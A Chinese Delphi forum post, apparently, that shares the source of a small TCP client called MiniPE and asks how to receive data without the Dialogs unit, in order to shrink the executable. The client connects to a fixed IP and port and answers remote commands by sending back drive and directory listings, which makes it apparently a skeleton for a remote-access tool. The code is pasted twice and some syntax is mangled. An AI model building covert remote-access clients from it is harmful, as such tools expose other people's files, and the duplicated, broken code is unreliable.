蒓
蒓潶Sê
Unregistered / Unconfirmed
GUEST, unregistred user!
program MiniPE;
uses
Windows,IdTCPClient,Classes,SysUtils{,Dialogs};//引用Dialogs就没事了
const SerVer='1.0;
type TTClient=class(TThread){接收线程类}
private TStr:string;
procedure Input;
public constructor Create;
destructor Destroy;override;
protected procedure Execute;override;
end;
type TMyClass = class
public
procedure Dised(Sender:TObject);
procedure Coned(Sender: TObject);
end;
var
MSG:TMSG;
TCPC:TIdTCPClient;
TClient:TTClient;
Ded:TNotifyEvent;
Ced:TNotifyEvent;
TX:TMyClass;
//-----------------------------------------------------------------------
constructor TTClient.Create;
begin
{創建線程}
inherited Create(True);
FreeOnTerminate:=True;
Suspended:=False;
end;
//-----------------------------------------------------------------------
destructor TTClient.Destroy;
begin
{關閉線程}
inherited Destroy;
end;
//-----------------------------------------------------------------------
procedure StartSer(Ip:string;Port:Integer);
begin
TClient:=TTClient.Create;
try
TCPC.Host:=Ip;
TCPC.Port:=Port;
if not TCPC.Connected then
TCPC.Connect;
except
TCPC.Disconnect;{断开连接}
end;
end;
//-----------------------------------------------------------------------
function XFileDate(Fd:_FileTime):TDateTime;
{ 转换文件的时间格式 }
var
Tct:_SystemTime;
Temp:_FileTime;
begin
FileTimeToLocalFileTime(Fd,Temp);
FileTimeToSystemTime(Temp,Tct);
XFileDate:=SystemTimeToDateTime(Tct);
end;
Function GetDirList(Path:string):string;{枚举目录下所有的文件夹的文件}
var
FS:TSearchRec;
F,D:string;
begin
try
if(FindFirst(Path+'*.*',faAnyFile,FS)=0)then
{检查所有文件}
begin
try
repeat
if (FS.Name <>'.')and(FS.Name <>'..') then
begin
if (FS.Attr and faDirectory)=faDirectory then
begin
{文件}
F:=F+FS.Name+'?'+IntToStr(Fs.Size)+'?'+{文件大小}
FormatDateTime('yyyy/mm/dd hh:mm:ss',XFileDate(FS.FindData.ftCreationTime))+'?'+{文件创建时间}
FormatDateTime('yyyy/mm/dd hh:mm:ss',XFileDate(FS.FindData.ftLastWriteTime))+',';{文件修改时间}
end
else
begin
D:=D+FS.Name+'?'+IntToStr(Fs.Size)+'?'+{文件夹大小}
FormatDateTime('yyyy/mm/dd hh:mm:ss',XFileDate(FS.FindData.ftCreationTime))+'?'+{创建时间}
FormatDateTime('yyyy/mm/dd hh:mm:ss',XFileDate(FS.FindData.ftLastWriteTime))+',';{修改时间}
end;
end;
until FindNext(FS)<>0;
finally
FindClose(FS);
Result:= F+'/'+D;
end;
end;
except
end;
if Length(F+'/'+D)<2 then
Result:='';
end;
//-----------------------------------------------------------------------
Function SplitString(const source,ch:string):Tstringlist;//分割字串符
var
temp:string;
i:integer;
begin
result:=TStringList.Create;
temp:=source;
i:=pos(ch,source);
while i<>0do
begin
result.Add(copy(temp,0,i-1));
delete(temp,1,i);
i:=pos(ch,temp);
end;
result.Add(temp);
end;
//-----------------------------------------------------------------------
procedure SendTCPCmd(Cmd,TempStr:String);//发送命令
var
MyS:TMemoryStream;
i:integer;
begin
with TCPCdo
begin
Try
if not Connected then
exit;{无连接则退出子程式}
MyS:=TMemoryStream.Create;{建立流}
Writeln(Cmd);{发送命令}
MyS.Write(TempStr[1],Length(TempStr));{命令内容写入流}
MyS.Position:=0;{流指针}
i:=MyS.size;{流大小}
WriteInteger(i);{发送流大小}
WriteStream(MyS);{发送流内容}
Except
Disconnect;{断开连接}
end{try};
MyS.Free;{释放流}
end{with};
end;
//-----------------------------------------------------------------------
Function GetDri(S:String):String;{检查驱动器类型}
var
Typ:Integer;
begin
S:=S+':/';
Typ:=GetDriveType(PChar(S));
If Typ <> 0 then
case Typ of
Drive_CDROM:Result:=S+'(光驱),';
Drive_Fixed:Result:=S+'(硬盘),';
else
Result:='';
end;
end;
//-----------------------------------------------------------------------
Function GetDriList:String;{枚举驱动器}
var
i:Char;
begin
for i:= 'A' to 'Z'do
Result:=Result+GetDri(i);
end;
//-----------------------------------------------------------------------
procedure TTClient.Input;{接收到数据触发事件}
var
Cmd:TStringList;
Fs:TFileStream;
i:Integer;
S:string;
begin
Cmd:=Splitstring(TStr,',');{格式数组}
case StrToInt(Cmd.Strings[0]) of
000:begin
SendTCPCmd('001',GetDriList);{发送磁盘列表}
end;
001:begin
S:=GetDirList(Cmd.Strings[1]);{目录列表}
if S='' then
SendTCPCmd('003','NoThing')
else
SendTCPCmd('002',S);
end;
else
{不正确的指令}
end;
end;
//-----------------------------------------------------------------------
procedure TTClient.Execute;{接收到数据}
var
Temp:string;
FS:TMemoryStream;
TheSize:Integer;
begin
if TCPC.Connected then
//if not TClient.Terminated then
while not TClient.Terminateddo
begin
try
Temp:=TCPC.ReadLn();
TheSize:=StrToInt(Temp);
if TheSize > 0 then
try
FS:=TMemoryStream.Create;{創建內存流}
TCPC.ReadStream(FS,TheSize,False);{從緩沖區讀出內存流}
FS.Position:=0;{内存流指針}
SetLength(TStr,FS.Size);{設置流長度}
FS.Read(Tstr[1], FS.Size);{讀出流內容到Tstr變量}
FS.Free;{释放内存流}
Synchronize(Input);
except
end;
except
end;
end;
end;
//-----------------------------------------------------------------------
procedure TMyClass.Dised(Sender: TObject);
begin
{连接断开触发事件}
TClient.Destroy;
end;
//-----------------------------------------------------------------------
procedure TMyClass.Coned(Sender: TObject);
begin
{连接触发事件}
SendTCPCmd('000',TCPC.Socket.LocalName+',XP,'+SerVer);
end;
//-----------------------------------------------------------------------
begin
{程序从这里开始}
TX:=TMyClass.Create;{创建一个触发事件引用类}
Ded:=TX.Dised;{关联连接断开触发事件}
Ced:=TX.Coned;{关联连接触发事件}
TCPC:=TIdTCPClient.Create(nil);{动态创建一个字套符连接}
TCPC.OnDisconnected:=Ded;{关联字套符}
TCPC.OnConnected:=Ced;{关联字套符}
StartSer('192.168.10.10',6700);
while(GetMessage(Msg,0,0,0))do begin
{不让程序退出}
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
//-----------------------------------------------------------------------
end.
以上为Client端代码,由于想减小PE文件体积,只使用了DPR工程文件编程.其中
program MiniPE;
use
Windows,IdTCPClient,Classes,SysUtils{,Dialogs};//不引用Dialogs是可以编译出程序,但不能接收数据,发送数据没问题(怀疑是未触发事件),引用Dialogs就可以接收到数据,但程序体积超大.
有没有办法可以不引用Dialogs(主要是减小体积),还能接收数据
uses
Windows,IdTCPClient,Classes,SysUtils{,Dialogs};//引用Dialogs就没事了
const SerVer='1.0;
type TTClient=class(TThread){接收线程类}
private TStr:string;
procedure Input;
public constructor Create;
destructor Destroy;override;
protected procedure Execute;override;
end;
type TMyClass = class
public
procedure Dised(Sender:TObject);
procedure Coned(Sender: TObject);
end;
var
MSG:TMSG;
TCPC:TIdTCPClient;
TClient:TTClient;
Ded:TNotifyEvent;
Ced:TNotifyEvent;
TX:TMyClass;
//-----------------------------------------------------------------------
constructor TTClient.Create;
begin
{創建線程}
inherited Create(True);
FreeOnTerminate:=True;
Suspended:=False;
end;
//-----------------------------------------------------------------------
destructor TTClient.Destroy;
begin
{關閉線程}
inherited Destroy;
end;
//-----------------------------------------------------------------------
procedure StartSer(Ip:string;Port:Integer);
begin
TClient:=TTClient.Create;
try
TCPC.Host:=Ip;
TCPC.Port:=Port;
if not TCPC.Connected then
TCPC.Connect;
except
TCPC.Disconnect;{断开连接}
end;
end;
//-----------------------------------------------------------------------
function XFileDate(Fd:_FileTime):TDateTime;
{ 转换文件的时间格式 }
var
Tct:_SystemTime;
Temp:_FileTime;
begin
FileTimeToLocalFileTime(Fd,Temp);
FileTimeToSystemTime(Temp,Tct);
XFileDate:=SystemTimeToDateTime(Tct);
end;
Function GetDirList(Path:string):string;{枚举目录下所有的文件夹的文件}
var
FS:TSearchRec;
F,D:string;
begin
try
if(FindFirst(Path+'*.*',faAnyFile,FS)=0)then
{检查所有文件}
begin
try
repeat
if (FS.Name <>'.')and(FS.Name <>'..') then
begin
if (FS.Attr and faDirectory)=faDirectory then
begin
{文件}
F:=F+FS.Name+'?'+IntToStr(Fs.Size)+'?'+{文件大小}
FormatDateTime('yyyy/mm/dd hh:mm:ss',XFileDate(FS.FindData.ftCreationTime))+'?'+{文件创建时间}
FormatDateTime('yyyy/mm/dd hh:mm:ss',XFileDate(FS.FindData.ftLastWriteTime))+',';{文件修改时间}
end
else
begin
D:=D+FS.Name+'?'+IntToStr(Fs.Size)+'?'+{文件夹大小}
FormatDateTime('yyyy/mm/dd hh:mm:ss',XFileDate(FS.FindData.ftCreationTime))+'?'+{创建时间}
FormatDateTime('yyyy/mm/dd hh:mm:ss',XFileDate(FS.FindData.ftLastWriteTime))+',';{修改时间}
end;
end;
until FindNext(FS)<>0;
finally
FindClose(FS);
Result:= F+'/'+D;
end;
end;
except
end;
if Length(F+'/'+D)<2 then
Result:='';
end;
//-----------------------------------------------------------------------
Function SplitString(const source,ch:string):Tstringlist;//分割字串符
var
temp:string;
i:integer;
begin
result:=TStringList.Create;
temp:=source;
i:=pos(ch,source);
while i<>0do
begin
result.Add(copy(temp,0,i-1));
delete(temp,1,i);
i:=pos(ch,temp);
end;
result.Add(temp);
end;
//-----------------------------------------------------------------------
procedure SendTCPCmd(Cmd,TempStr:String);//发送命令
var
MyS:TMemoryStream;
i:integer;
begin
with TCPCdo
begin
Try
if not Connected then
exit;{无连接则退出子程式}
MyS:=TMemoryStream.Create;{建立流}
Writeln(Cmd);{发送命令}
MyS.Write(TempStr[1],Length(TempStr));{命令内容写入流}
MyS.Position:=0;{流指针}
i:=MyS.size;{流大小}
WriteInteger(i);{发送流大小}
WriteStream(MyS);{发送流内容}
Except
Disconnect;{断开连接}
end{try};
MyS.Free;{释放流}
end{with};
end;
//-----------------------------------------------------------------------
Function GetDri(S:String):String;{检查驱动器类型}
var
Typ:Integer;
begin
S:=S+':/';
Typ:=GetDriveType(PChar(S));
If Typ <> 0 then
case Typ of
Drive_CDROM:Result:=S+'(光驱),';
Drive_Fixed:Result:=S+'(硬盘),';
else
Result:='';
end;
end;
//-----------------------------------------------------------------------
Function GetDriList:String;{枚举驱动器}
var
i:Char;
begin
for i:= 'A' to 'Z'do
Result:=Result+GetDri(i);
end;
//-----------------------------------------------------------------------
procedure TTClient.Input;{接收到数据触发事件}
var
Cmd:TStringList;
Fs:TFileStream;
i:Integer;
S:string;
begin
Cmd:=Splitstring(TStr,',');{格式数组}
case StrToInt(Cmd.Strings[0]) of
000:begin
SendTCPCmd('001',GetDriList);{发送磁盘列表}
end;
001:begin
S:=GetDirList(Cmd.Strings[1]);{目录列表}
if S='' then
SendTCPCmd('003','NoThing')
else
SendTCPCmd('002',S);
end;
else
{不正确的指令}
end;
end;
//-----------------------------------------------------------------------
procedure TTClient.Execute;{接收到数据}
var
Temp:string;
FS:TMemoryStream;
TheSize:Integer;
begin
if TCPC.Connected then
//if not TClient.Terminated then
while not TClient.Terminateddo
begin
try
Temp:=TCPC.ReadLn();
TheSize:=StrToInt(Temp);
if TheSize > 0 then
try
FS:=TMemoryStream.Create;{創建內存流}
TCPC.ReadStream(FS,TheSize,False);{從緩沖區讀出內存流}
FS.Position:=0;{内存流指針}
SetLength(TStr,FS.Size);{設置流長度}
FS.Read(Tstr[1], FS.Size);{讀出流內容到Tstr變量}
FS.Free;{释放内存流}
Synchronize(Input);
except
end;
except
end;
end;
end;
//-----------------------------------------------------------------------
procedure TMyClass.Dised(Sender: TObject);
begin
{连接断开触发事件}
TClient.Destroy;
end;
//-----------------------------------------------------------------------
procedure TMyClass.Coned(Sender: TObject);
begin
{连接触发事件}
SendTCPCmd('000',TCPC.Socket.LocalName+',XP,'+SerVer);
end;
//-----------------------------------------------------------------------
begin
{程序从这里开始}
TX:=TMyClass.Create;{创建一个触发事件引用类}
Ded:=TX.Dised;{关联连接断开触发事件}
Ced:=TX.Coned;{关联连接触发事件}
TCPC:=TIdTCPClient.Create(nil);{动态创建一个字套符连接}
TCPC.OnDisconnected:=Ded;{关联字套符}
TCPC.OnConnected:=Ced;{关联字套符}
StartSer('192.168.10.10',6700);
while(GetMessage(Msg,0,0,0))do begin
{不让程序退出}
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
//-----------------------------------------------------------------------
end.
以上为Client端代码,由于想减小PE文件体积,只使用了DPR工程文件编程.其中
program MiniPE;
use
Windows,IdTCPClient,Classes,SysUtils{,Dialogs};//不引用Dialogs是可以编译出程序,但不能接收数据,发送数据没问题(怀疑是未触发事件),引用Dialogs就可以接收到数据,但程序体积超大.
有没有办法可以不引用Dialogs(主要是减小体积),还能接收数据